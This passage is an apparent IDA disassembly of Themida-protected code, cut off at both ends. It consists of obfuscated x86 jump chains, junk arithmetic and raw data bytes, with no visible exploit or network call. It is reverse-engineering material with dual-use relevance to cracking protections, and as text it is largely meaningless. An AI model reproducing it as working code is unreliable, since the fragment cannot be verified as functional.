XREF: Themida_:0056EB71j shr ecx, 4 add ecx, 54813456h sub edx, ecx pop ecx add edx, ebp add edx, 5C8D70D6h pop ebp sub edx, 36D66C30h jmp loc_56897D ; --------------------------------------------------------------------------- dd 802DC380h, 0B25251EBh, 8BD32855h, 0C4812414h, 4, 0FF7832E9h db 0FFh ; --------------------------------------------------------------------------- loc_570DC9: ; CODE XREF: Themida_:00564843j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebx push dword ptr [esp] pop eax push 22B6h mov [esp], ecx jmp loc_56768D ; --------------------------------------------------------------------------- loc_570DE7: ; CODE XREF: Themida_:0056A7BFj and ch, 4 sub ch, 94h add al, 93h jmp loc_571354 ; --------------------------------------------------------------------------- loc_570DF4: ; CODE XREF: Themida_:00566D69j mov [esp], edi mov edi, 4 add ecx, edi pop edi add ecx, 4 xchg ecx, [esp] jmp loc_567F96 ; --------------------------------------------------------------------------- loc_570E0A: ; CODE XREF: Themida_:00572AF0j pop eax jmp loc_56F16F ; --------------------------------------------------------------------------- dd 813877FFh, 51F82404h, 0A8E97412h, 5EFFFFA6h, 0E38FC781h dd 0FB313295h, 0E4C7815Fh, 29465E7Eh, 0E4EF81DFh, 5B465E7Eh dd 391BCB05h, 2DF8292Dh, 2D391BCBh, 2404875Fh, 0C89665Ch dd 40DE924h, 0EB810000h, 1A95055Fh, 0C381EB01h, 1A95055Fh dd 0C0B8505Dh, 3561EC66h, 59F37FC7h, 0E8FCA42Dh, 0E5A4E920h dd 0D3F6FFFEh, 0C0FEC386h, 0EC81C386h, 2, 240C8966h, 0FF2EF5E9h db 0FFh ; --------------------------------------------------------------------------- loc_570E8D: ; CODE XREF: Themida_:00568E10j push esi mov esi, 49DE2BC3h mov edx, 9AA6FCAAh add edx, esi jmp loc_56A743 ; --------------------------------------------------------------------------- loc_570E9F: ; CODE XREF: Themida_:00571CC4j push ebp mov ebp, 57D013A4h jmp loc_56920A ; --------------------------------------------------------------------------- dw 5A5Ah dd 3F046851h, 7FE94126h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570EB7: ; CODE XREF: Themida_:0055D312j pop edi xor eax, 4864082h mov edx, eax mov eax, [esp] add esp, 4 sub edi, 32B47E06h add edi, edx jmp loc_5607FA ; --------------------------------------------------------------------------- db 81h, 0C5h, 0E3h dd 513CD15Ch, 7E0962B9h, 2CC18179h, 0E9A17A1Eh, 0FFFF45D9h dd 0E95DE801h, 0FFFF64BDh, 74FF565Fh, 8F5E0424h, 248B2404h dd 2434FF24h, 0ECF7E958h, 6845FFFEh, 72EAh, 0BA241489h dd 46886A12h, 0FEDB2EE9h db 0FFh ; --------------------------------------------------------------------------- loc_570F1D: ; CODE XREF: Themida_:0056C041j push dword ptr [esp] mov ecx, [esp] jmp loc_56052A ; --------------------------------------------------------------------------- loc_570F28: ; CODE XREF: Themida_:005706CFj mov esi, 0A563E050h jmp loc_55EA2D ; --------------------------------------------------------------------------- dw 3C87h dd 55E95C24h, 68000003h, 2808h, 0B5240C89h, 3FB36856h dd 39E90000h, 81FFFEFAh, 96568FF7h, 0FFF9294Ah, 0E95F2434h dd 0FFFFEA5Ch, 0FDBEF581h, 0EB21FAFFh, 0E9D3F75Dh, 0FFFF200Bh dd 753CEB81h, 0BD557DA4h, 3F7E2324h, 0C5814D4Dh, 1E6002D8h dd 5C0FC381h, 0C381202Fh, 36812130h, 0EB81EB01h, 36812130h dd 0FEEFBDE9h db 0FFh ; --------------------------------------------------------------------------- loc_570F9D: ; CODE XREF: Themida_:00561D37j or dl, cl pop ecx push ecx jmp loc_56004D ; --------------------------------------------------------------------------- loc_570FA6: ; CODE XREF: Themida_:0055F711j mov [esp], ebp push 733Dh mov [esp], edi jmp loc_565CA9 ; --------------------------------------------------------------------------- loc_570FB6: ; CODE XREF: Themida_:005693A0j mov edx, 7A8C622Dh sub esp, 4 mov [esp], edx push ebp jmp loc_5608A6 ; --------------------------------------------------------------------------- loc_570FC7: ; CODE XREF: Themida_:0056A3E4j mov [esp], ebx push 313Ah jmp loc_567EF0 ; --------------------------------------------------------------------------- dd 815DEE01h, 0ED5E5AEDh, 81F50156h, 0ED5E5AC5h, 0EA895E56h dd 0FFDC15E9h db 0FFh ; --------------------------------------------------------------------------- loc_570FED: ; CODE XREF: Themida_:0056D0ADj mov ebx, 78536BD0h add ebx, 2AF04205h sub ebx, 4F331B18h push edi jmp loc_568044 ; --------------------------------------------------------------------------- loc_571004: ; CODE XREF: Themida_:0055F8D0j mov [esp], edi mov edi, 1 sub dword ptr [esp+4], 5CBF3F6Eh add dword ptr [esp+4], 1B23C70h sub dword ptr [esp+4], 7BC2708Ch sub [esp+4], edi push edx mov edx, 7BC2708Ch push ebp jmp loc_56F37D ; --------------------------------------------------------------------------- dd 0E9D3F7h, 87FFFF25h, 0FF5C243Ch db 34h, 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 7EF0788Bh xor esi, 4E8433C7h jmp loc_56F81A ; --------------------------------------------------------------------------- db 0B9h dd 2, 0FFED71E9h, 29F181FFh, 81105A4Dh, 744FF6E1h, 0C1D9F76Eh dd 0A7E905E1h db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571077: ; CODE XREF: Themida_:0056B6E2j pop edi push esi mov esi, 30BE786Ch sub edx, esi pop esi add edx, esi add edx, 30BE786Ch pop esi xor edx, [esp] xor [esp], edx jmp loc_57147A ; --------------------------------------------------------------------------- loc_571095: ; CODE XREF: Themida_:005604F4j inc eax not eax inc eax jmp loc_5662CD ; --------------------------------------------------------------------------- dw 28B8h dd 350E0659h, 7B1C4F1Dh, 1B00E80Dh, 19A8E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5710B2: ; CODE XREF: Themida_:0056C741j add esp, 4 jmp loc_56B8CC ; --------------------------------------------------------------------------- db 0E9h, 2Bh, 0C2h dd 0EA29FFFEh, 192FC281h, 335D44C1h, 14312414h, 24143324h dd 0E924248Bh, 0FFFF40BEh, 50F5815Bh, 8137CE0Fh, 5B3266E5h dd 67E5815Bh, 56660D18h, 0FFA4E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5710F5: ; CODE XREF: Themida_:00571419j sub ebp, 687D1BF4h xor esi, ebp pop ebp push esi jmp loc_561B7E ; --------------------------------------------------------------------------- loc_571104: ; CODE XREF: Themida_:0056B433j xchg eax, [esp] push eax jmp loc_572AEF ; --------------------------------------------------------------------------- aXauAFpZ db '╤X─Н╩─н!fP╢z',0 dw 66E6h dd 5AF52858h, 0EB885352h, 0E95BDE88h, 0FFFFB04Bh ; --------------------------------------------------------------------------- loc_57112C: ; CODE XREF: Themida_:00561F13j pop dword ptr [esp] jmp loc_55F58F ; --------------------------------------------------------------------------- dd 4EC81h, 5FE90000h db 4Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57113F: ; CODE XREF: Themida_:0055DB92j add edi, ebp mov ebp, [esp] add esp, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, 929162Dh xor eax, ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebx push 0EE3h mov [esp], edx push esi jmp loc_56EC2C ; --------------------------------------------------------------------------- loc_571190: ; CODE XREF: Themida_:00563B3Ej add ebx, 3EAE0467h jmp loc_56FFCE ; --------------------------------------------------------------------------- db 81h dd 2C4h, 0BAFE900h, 89560000h, 5EF389FEh, 81243C8Bh, 4C4h dd 0C133E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5711BA: ; CODE XREF: Themida_:0055FB5Ej pop dword ptr [esp] pop esp jmp loc_56EFFC ; --------------------------------------------------------------------------- loc_5711C3: ; CODE XREF: Themida_:00569FC4j mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_55EB72 ; --------------------------------------------------------------------------- dd 1ACDBA52h, 0EF8129FCh, 19BD050Fh, 45A3EF81h, 0D701501Bh dd 45A3C781h, 0BD55501Bh, 4C69796Ch, 0FF3494E9h db 0FFh ; --------------------------------------------------------------------------- loc_5711F9: ; CODE XREF: Themida_:0056CD73j mov eax, [esp] add esp, 4 jmp loc_566758 ; --------------------------------------------------------------------------- loc_571204: ; CODE XREF: Themida_:0056B828j add esp, 4 or eax, eax jz loc_56E78D push dword ptr [edi+1Ch] push ebp mov ebp, 59C8200Ch xor [esp+4], ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55FDCD ; --------------------------------------------------------------------------- loc_571239: ; CODE XREF: Themida_:00567F5Fj mov esi, [esp] add esp, 4 push eax mov eax, 5D364E75h and ecx, eax jmp loc_5620AF ; --------------------------------------------------------------------------- db 0BDh dd 79D94B18h, 0D6F7F587h, 1E9F587h, 66FFFFFDh, 66C8B60Fh dd 82E99C51h, 81FFFEC0h, 0FEA406C7h, 0EE8CE9EEh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_571276: ; CODE XREF: Themida_:00566888j sub dword ptr [esp+4], 1CF52255h jmp loc_571A1F ; --------------------------------------------------------------------------- db 51h dd 0EE24C6B9h, 0E9E9D16Fh, 0FFFFDDB3h, 51241C89h, 0FF12BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_571299: ; CODE XREF: Themida_:00569453j mov ebp, 7DE739F2h xor ebp, 747B479Fh jmp loc_571D03 ; --------------------------------------------------------------------------- loc_5712A9: ; CODE XREF: Themida_:0056276Fj mov edi, 17B4033Fh push ebp push 0E105895h pop ebp sub ebp, 0E95845EBh jmp loc_56020D ; --------------------------------------------------------------------------- dd 70B868h, 24348900h, 33241C31h, 1C31241Ch, 7F8DE924h dd 0EA81FFFFh, 2E34457h, 0FEEC4CE9h, 10EA81FFh, 81307E6Eh dd 0E12CB2C2h, 5BE95136h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5712F3: ; CODE XREF: Themida_:00560C81j mov edx, 530B5413h jmp loc_5690F0 ; --------------------------------------------------------------------------- loc_5712FD: ; CODE XREF: Themida_:00562C6Cj push eax mov eax, 34C95656h xor eax, 0CE10E672h xor esi, eax mov eax, [esp] add esp, 4 add edx, 36133D5Dh jmp loc_55E3F6 ; --------------------------------------------------------------------------- dw 315Dh dd 0D3F759CBh, 24E95543h, 66FFFFFFh, 52240489h, 17B00FB6h dd 14E9F000h, 0F7FFFEC7h, 5EBC1D3h, 4499C381h, 0D80144A7h dd 23AE9h, 0E9E78900h, 0FFFFB8FAh ; --------------------------------------------------------------------------- loc_571354: ; CODE XREF: Themida_:00570DEFj add al, 60h sub al, ch sub al, 60h sub al, 93h mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add al, 36h sub al, bl push ebx mov bh, 36h sub al, bh pop ebx sub esp, 4 jmp loc_56AB8C ; --------------------------------------------------------------------------- db 81h dd 0D761C1EAh, 0BE565D28h, 4, 335EF201h, 14312414h, 0E96DE924h dd 1489FFFEh, 1322E924h, 0D9F60000h, 0B652C1FEh, 4E68053h dd 245CF652h, 4E72E901h, 815FFFFFh, 4C4h, 0E9A7E900h, 0C580FFFEh dd 0D7ED8001h, 5203EDC0h, 0A9E9D6B6h, 80FFFFADh, 0EAD001EAh dd 0BC4CE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5713E6: ; CODE XREF: Themida_:00568978j pop dword ptr [esp] mov esp, [esp] mov [esp], esi jmp loc_5669AD ; --------------------------------------------------------------------------- dd 7C6768h, 66DCE900h, 2C87FFFFh, 0A8E95C24h, 83000007h dd 54E902EEh db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57140F: ; CODE XREF: Themida_:0056309Cj mov ebp, edi pop edi dec ebp or ebp, 1BC93373h jmp loc_5710F5 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 243C8904h, 243C8B54h, 0FED3C2E9h, 4C381FFh dd 0E9000000h, 0FFFF7AD1h, 0FFFFFFBFh, 8DC681FFh, 161D844h dd 8DEE81FEh, 0E961D844h, 0FFFED51Eh ; --------------------------------------------------------------------------- loc_571454: ; CODE XREF: Themida_:0056E1FEj sub esp, 4 jmp loc_56C1C4 ; --------------------------------------------------------------------------- dd 1A4CD81h, 0E9566C64h, 0FFFF4803h, 5E0EB81h, 3DE951A9h dd 30FFFF59h, 2111E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57147A: ; CODE XREF: Themida_:00571090j xor edx, [esp] mov esp, [esp] push 6E9Fh mov [esp], edx push 1 pop edx jmp loc_569476 ; --------------------------------------------------------------------------- loc_571493: ; CODE XREF: Themida_:00568E71j mov [esp], eax jmp loc_571647 ; --------------------------------------------------------------------------- db 55h dd 313FBB53h, 3DE93003h, 0E9FFFFB6h, 0FFFEBE41h ; --------------------------------------------------------------------------- loc_5714AC: ; CODE XREF: Themida_:0056D114j push ecx mov ecx, 4 add edx, ecx pop ecx push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp] jmp loc_564065 ; --------------------------------------------------------------------------- loc_5714C6: ; CODE XREF: Themida_:00568BE4j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 80h push eax push edx jmp loc_568578 ; --------------------------------------------------------------------------- db 0C0h dd 0F18008E1h, 59CA88CFh, 0FF7D31E9h, 48B66FFh, 0B2685524h dd 0E9000028h, 0FFFF761Ch, 19B9C681h, 0E9591661h, 0FFFF1058h dd 9103F5B8h, 3F1354Eh, 0C5E94E91h, 55FFFF2Ch, 42474FFh dd 24048F5Dh, 0FE24248Bh, 0E99C2404h, 0FFFEBDB9h ; --------------------------------------------------------------------------- loc_571534: ; CODE XREF: Themida_:0056B4A9j sub ebp, eax pop eax sub edx, ebp mov ebp, [esp] add esp, 4 jmp loc_562049 ; --------------------------------------------------------------------------- dd 5EF3295Eh, 8B241C87h, 4892424h, 5585424h, 4, 8904EC83h dd 268241Ch, 0E9000000h, 0FFFF4F52h, 8704C383h, 335C241Ch dd 0C31240Ch, 240C3324h, 6624248Bh, 6866E1F7h, 0B4E9761Bh dd 5BFFFEF0h, 70B56859h, 0C890000h, 0C8B5424h, 49ECE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57159A: ; CODE XREF: Themida_:005695A6j add ecx, edi pop edi mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_56D6C5 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 4EC81h, 0C890000h, 4B924h, 0CA290000h dd 24148759h, 2424895Ch, 4B850h, 44010000h, 0FF580424h dd 835A2434h, 29E904C4h, 31FFFFD5h, 81FDE9F2h, 6855FFFFh dd 19F9h, 0E9242489h, 0FFFFEF10h, 0FF2434FFh, 52592434h dd 0B951E289h, 4, 0C8BCA01h, 4C48324h, 0FEBD3CE9h, 240C89FFh dd 0B46B96B9h, 6E9C15Dh, 8102E1C1h, 0EC57CCF1h, 0E8EB8107h dd 29681331h, 3AE952CBh, 89FFFF33h, 31E9240Ch db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571647: ; CODE XREF: Themida_:00571496j mov eax, 65083FA5h sub esi, eax pop eax and esi, 71862E89h push ebx jmp loc_568EBA ; --------------------------------------------------------------------------- loc_57165B: ; CODE XREF: Themida_:00564E67j add ebx, esi mov esi, [esp] jmp loc_55EAE8 ; --------------------------------------------------------------------------- db 81h, 0CFh, 11h dd 81638618h, 0AA3A97E7h, 24CDE921h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571676: ; CODE XREF: Themida_:0055EDD9j sub esp, 4 jmp loc_56E6C3 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 24043166h, 0BC5FE99Ch, 0F8B3FFFEh, 0FEBD83E9h db 0FFh ; --------------------------------------------------------------------------- loc_571695: ; CODE XREF: Themida_:00571B6Bj shr cl, 6 push ebx mov bh, 2Ah and cl, bh push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push bx mov bh, 36h sub cl, bh pop bx sub cl, 4Dh sub esp, 4 jmp loc_57217D ; --------------------------------------------------------------------------- loc_5716C7: ; CODE XREF: Themida_:00564253j xor esi, 6BBE4B7Fh sub ebx, esi pop esi xor ebx, 0CEF98560h sub esp, 4 mov [esp], ebx add dword ptr [esp], 7BD27926h jmp loc_56A665 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 0E904C283h, 3FCh, 0BE0F665Ch, 423668C8h dd 1C890000h, 196B6824h, 24890000h, 24048324h, 0BE685B04h dd 89000025h, 4DE92404h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57171F: ; CODE XREF: Themida_:0055DBBFj push edi pop esi push dword ptr [esp] pop edi push ebx mov ebx, esp push edi mov edi, 5AB71663h not edi jmp loc_565AC9 ; --------------------------------------------------------------------------- aSPHH db 'S╩',7,'Pс,h%H',0 align 10h dd 0E9242C89h, 0FFFF62F6h, 4EC81h, 2C890000h, 14B85024h dd 4054634Eh, 702C182Dh, 3E0C17Dh, 0D9FE9h, 1C18100h, 50000000h dd 3D6CAFB8h, 58C13159h, 3CFBC981h, 0F1816547h, 7C00EEFEh dd 39E9C801h, 81FFFF1Fh, 7E6960E2h, 3EAC17Bh, 0FF78FAE9h dd 0D7BB53FFh, 96B3974h, 36CAE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5717A2: ; CODE XREF: Themida_:0057215Cj push ebp mov ebp, 7C8F7B83h mov esi, ebp pop ebp jmp loc_5651D9 ; --------------------------------------------------------------------------- dd 80BD5550h, 8937255Bh, 0E9565DE8h, 0FFFF60CAh, 4B45F381h dd 0DF89364Ah, 0F7F7815Bh, 561FF14Ch, 6F1FE7BEh, 49F6810Ch dd 0E9304F7Bh, 0FFFEE4FCh ; --------------------------------------------------------------------------- loc_5717E0: ; CODE XREF: Themida_:005608CDj sub [esp+8], edx pop edx sub dword ptr [esp+4], 2F855D9h jmp loc_56501C ; --------------------------------------------------------------------------- dw 0F75Dh dd 81DDF7DDh, 8B01EFF5h, 9EF58109h, 89594A5Fh, 0C1425DEAh dd 0CFE908E2h, 81FFFFE8h, 471462F3h, 0DF89570Ch, 3C8BF889h dd 4C48124h, 0E9000000h, 0FFFEC613h, 0E910B05Bh, 0FFFFFC43h dd 4C481h, 83520000h, 348904ECh, 24148B24h, 0FF04C483h dd 505E2434h, 0FF03ABE9h, 48B66FFh, 39F46824h, 4890000h dd 5D46824h, 24890000h, 24048124h, 4, 2FE95558h, 81FFFFBBh dd 4C4h, 783EE900h, 248BFFFFh, 4896624h, 0BA67E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_571886: ; CODE XREF: Themida_:0056C6FDj xor ecx, [edi+24h] push ebx push esi mov esi, 2FBC65BAh mov ebx, 2FBC659Eh xor ebx, esi pop esi add ebx, edi push eax mov eax, 0 add eax, ebx push ebx mov ebx, 0 add ebx, eax xor [ebx], ecx pop ebx pop eax jmp loc_56B7BA ; --------------------------------------------------------------------------- loc_5718B3: ; CODE XREF: Themida_:0056AB8Fj mov bh, 41h sub bh, 1Fh push edx mov dh, 7 not dh jmp loc_5701F9 ; --------------------------------------------------------------------------- dw 8B66h dd 0E950240Ch, 0FFFF5224h ; --------------------------------------------------------------------------- loc_5718CC: ; CODE XREF: Themida_:005701E6j pop esi add edx, 52F33B1Bh sub edx, 29B64EA5h add edx, ebp jmp loc_565A88 ; --------------------------------------------------------------------------- dd 7883BE56h, 0DEF74D79h, 8A73F681h, 99E9CD79h, 8BFFFFBAh dd 0E9F72424h, 8904EC83h, 0FF54240Ch, 0C8B2434h, 4C48324h dd 0FFC75AE9h, 240433FFh, 6824248Bh, 412Ch, 0E9240489h dd 0FFFEB9CDh, 241C895Ch, 0D82880B3h, 0E923045Bh, 0FFFF858Fh ; --------------------------------------------------------------------------- loc_571930: ; CODE XREF: Themida_:00566934j sub ebx, 4AFC0507h dec ebx sub ebx, 0FFFFFFFFh add ebx, 0E62FE1CDh add ecx, ebx mov ebx, [esp] add esp, 4 add ecx, 4 jmp loc_56FE00 ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFFAD04h, 3533B951h, 0C9817C7Eh, 0FDB30C4h, 0E9409149h dd 0FFFEC55Bh, 241C895Ch, 63BF6856h, 0CCE954B6h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57197F: ; CODE XREF: Themida_:0055DD81j mov ebx, 4C931443h mov eax, 533C7CCAh xor eax, ebx pop ebx or eax, 46E85D56h xor eax, 38923FC4h sub eax, 0FFFFFFFFh shl eax, 8 shr eax, 1 push ecx mov ecx, 702F3247h shr ecx, 6 neg ecx add ecx, 2D4778CDh sub eax, ecx pop ecx add ebp, 588F5D72h jmp loc_561F81 ; --------------------------------------------------------------------------- db 68h, 69h, 26h dd 0D4E90000h db 23h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5719C7: ; CODE XREF: Themida_:005669B2j mov esi, [esp] push 734Bh mov [esp], eax jmp loc_55DC3E ; --------------------------------------------------------------------------- db 56h dd 0BA525E54h, 58BD54F8h, 0D66E94Ah, 0E3C1FFFFh, 31EB8102h dd 2958C197h, 0F0015BDEh, 0E924348Bh, 0FFFF681Ah, 2C78159h dd 83000000h, 3C8904ECh, 2474FF24h, 6BE95F04h, 81FFFFFCh dd 3B6807E9h, 6BE9417Dh db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571A1F: ; CODE XREF: Themida_:0057127Ej add [esp+4], edi jmp loc_562661 ; --------------------------------------------------------------------------- loc_571A28: ; CODE XREF: Themida_:005701D9j add esp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5602C4 ; --------------------------------------------------------------------------- db 81h dd 5B2AF0EBh, 9A46830h, 79E90000h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571A4F: ; CODE XREF: Themida_:00570BB0j push ecx mov ecx, 3E5C34FBh add edx, ecx pop ecx sub edx, 6BAB1204h jmp loc_56CE31 ; --------------------------------------------------------------------------- db 81h dd 0C57D80C7h, 7CE9592Ch, 8BFFFF6Fh, 8E682424h, 8900001Bh dd 88E92414h, 50FFFFEBh, 405E089h, 83000000h, 87E902C0h dd 0E9FFFED3h, 0FFFEB859h, 8B5AD629h, 0C481242Ch, 4, 2BD55h dd 26E90000h, 89FFFEFAh, 0F206E9D5h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_571AB2: ; CODE XREF: Themida_:005619C1j mov edx, 24h add edx, edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55FC44 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0C1768h, 24148900h, 0C281E289h, 4, 4BE56h dd 0F2010000h, 0E924348Bh, 0FFFF9CDAh, 5C241487h, 0DA15E95Eh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_571AFE: ; CODE XREF: Themida_:00570046j push 17705D5Ch jmp loc_56C3A6 ; --------------------------------------------------------------------------- dd 405h, 7216E900h, 8F5AFFFFh, 248B2404h, 0B7CFE924h, 34FFFFFEh db 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], edx mov edx, 431B68DEh sub edx, 7C71634Ch push ecx mov ecx, 13CE7934h jmp loc_564046 ; --------------------------------------------------------------------------- db 5Fh, 83h, 0ECh dd 0C24CE904h, 0C483FFFEh, 74FF5104h, 0B1E90424h, 5AFFFF42h dd 34FFDA30h, 8B2EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571B62: ; CODE XREF: Themida_:005661ADj add esp, 4 add cl, 0FFh jmp loc_571695 ; --------------------------------------------------------------------------- dd 5704C483h, 0D1594BBFh, 1BC78122h, 0F728B959h, 81D7F7DFh dd 68451EEFh, 5FFB01CFh, 4F84B951h, 57416D3Ah, 640572BFh dd 0E9F93152h, 0FFFEEF4Eh ; --------------------------------------------------------------------------- loc_571BA0: ; CODE XREF: Themida_:00566771j pop ebx add ebx, 4 add ebx, 4 jmp loc_56A48C ; --------------------------------------------------------------------------- db 80h dd 0DFF69BC7h, 0FF95E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_571BB9: ; CODE XREF: Themida_:0056B168j pop eax xor esi, 6B961D38h and esi, 652748BDh jmp loc_563095 ; --------------------------------------------------------------------------- db 51h dd 0CA884EB1h, 2920E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571BD6: ; CODE XREF: Themida_:0056FF36j mov [esp], ecx mov ecx, esp push edi mov edi, 61EE633Bh jmp loc_565091 ; --------------------------------------------------------------------------- aYai db 'Y─К;',0 db 0F3h aAZhX db '─ц;Zh*x',0 dd 3FCE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571BFA: ; CODE XREF: Themida_:0056D7C9j sub edi, ebp pop ebp sub edi, 767379FDh sub edi, 67D00A6Fh pop ebp jmp loc_567D72 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4BD5500h, 0E9000000h, 0FFFF6458h, 0E955C380h dd 0FFFF0AC0h ; --------------------------------------------------------------------------- loc_571C28: ; CODE XREF: Themida_:0056BDEFj mov esp, [esp] jmp loc_56DF0B ; --------------------------------------------------------------------------- dd 0E9242C33h, 0FFFFA09Dh, 5DEE0159h, 0AEE9534Eh, 2DFFFED9h dd 4C6D6055h, 334CF205h, 0E9D82976h, 0FFFF3635h, 3FE9EB00h dd 1FFFEDAh, 8AC281EAh, 81292E40h, 3A761AC2h, 1DE95D07h dd 0F7FFFF7Fh, 549DE9D6h, 0DA31FFFFh, 61ACE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571C7E: ; CODE XREF: Themida_:0055ED1Aj xchg eax, [esp] pop esp add eax, 4 xchg eax, [esp] mov esp, [esp] push 3402h mov [esp], ecx mov ecx, esp jmp loc_56CB3B ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 79E95550h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571CA7: ; CODE XREF: Themida_:00566103j push ebp mov ebp, 77AE5B54h jmp loc_5696F8 ; --------------------------------------------------------------------------- dw 0BA52h dd 7ED26FA3h, 6FA7F281h, 99E97ED2h db 0E9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_571CC3: ; CODE XREF: Themida_:00569A09j push esi jmp loc_570E9F ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0FF0F26E9h db 0FFh ; --------------------------------------------------------------------------- loc_571CD1: ; CODE XREF: Themida_:0055E5CDj push 6F27h mov [esp], edx push 3E01h mov [esp], eax mov eax, 1212193Bh mov edx, 14498606h sub edx, 3182578Dh sub edx, eax jmp loc_566F81 ; --------------------------------------------------------------------------- dd 5D65C281h, 7CE90AADh db 0D8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_571D03: ; CODE XREF: Themida_:005712A4j xor ebp, 436427BDh sub ecx, ebp jmp loc_5729C2 ; --------------------------------------------------------------------------- loc_571D10: ; CODE XREF: Themida_:0056F207j sub edx, 3A51167Ch sub esp, 4 mov [esp], ecx push 242Fh mov [esp], edx push 3B99h mov [esp], edx push edi push esi mov esi, 70FB56C6h mov edi, 0CC1CE04Dh add edi, esi pop esi shr edi, 1 xchg ecx, edi jmp loc_56E1C9 ; --------------------------------------------------------------------------- aXhzk db 'Xh╖K',0 dd 24348900h, 0FF6CA6E9h, 58A368FFh, 14890000h, 3408E924h dd 0C481FFFFh, 4, 4C481h, 52660000h, 4EC8350h, 0B1240C89h dd 0E984B08Ah, 0FFFFD656h ; --------------------------------------------------------------------------- loc_571D80: ; CODE XREF: Themida_:00565C28j shr ebx, 8 or ebx, 649B7BF5h jmp loc_562646 ; --------------------------------------------------------------------------- dw 6851h dd 105572F5h, 0FF554CE9h, 0E38953FFh, 4C381h, 0C3810000h dd 4, 0FFB5ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_571DAD: ; CODE XREF: Themida_:0056485Aj add edx, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp push eax jmp loc_5652AE ; --------------------------------------------------------------------------- loc_571DC9: ; CODE XREF: Themida_:0057029Ej push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 jmp loc_55D8E8 ; --------------------------------------------------------------------------- db 5Fh dd 129F381h, 0BD5557E9h, 2AAA02B9h, 2C8BEB01h, 0ECC1E924h dd 31ADFFFFh, 7C86E9D8h, 5753FFFFh, 0FFB698E9h db 0FFh ; --------------------------------------------------------------------------- loc_571E01: ; CODE XREF: Themida_:0056A545j sub esi, 4A91561Bh add esi, 2E771E10h xor esi, 0E4A1E41Ch add edx, 7A023541h add edx, esi sub edx, 7A023541h jmp loc_5638CD ; --------------------------------------------------------------------------- loc_571E26: ; CODE XREF: Themida_:00566F15j pop edx inc esi push ebp mov ebp, 4A991E6Ah jmp loc_561782 ; --------------------------------------------------------------------------- loc_571E33: ; CODE XREF: Themida_:00567CBDj mov [esp], edx sub esp, 4 mov [esp], ebx jmp loc_5629FD ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0D04D0CBEh, 2444812Dh, 0A0470204h, 2474015Bh, 0D095E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571E5A: ; CODE XREF: Themida_:00569BC1j pop esp sub dword ptr [esp+4], 71E705C9h add dword ptr [esp+4], 5BD55E20h push ebp jmp loc_56E7D2 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0EFh dd 2AEC2B7Ah, 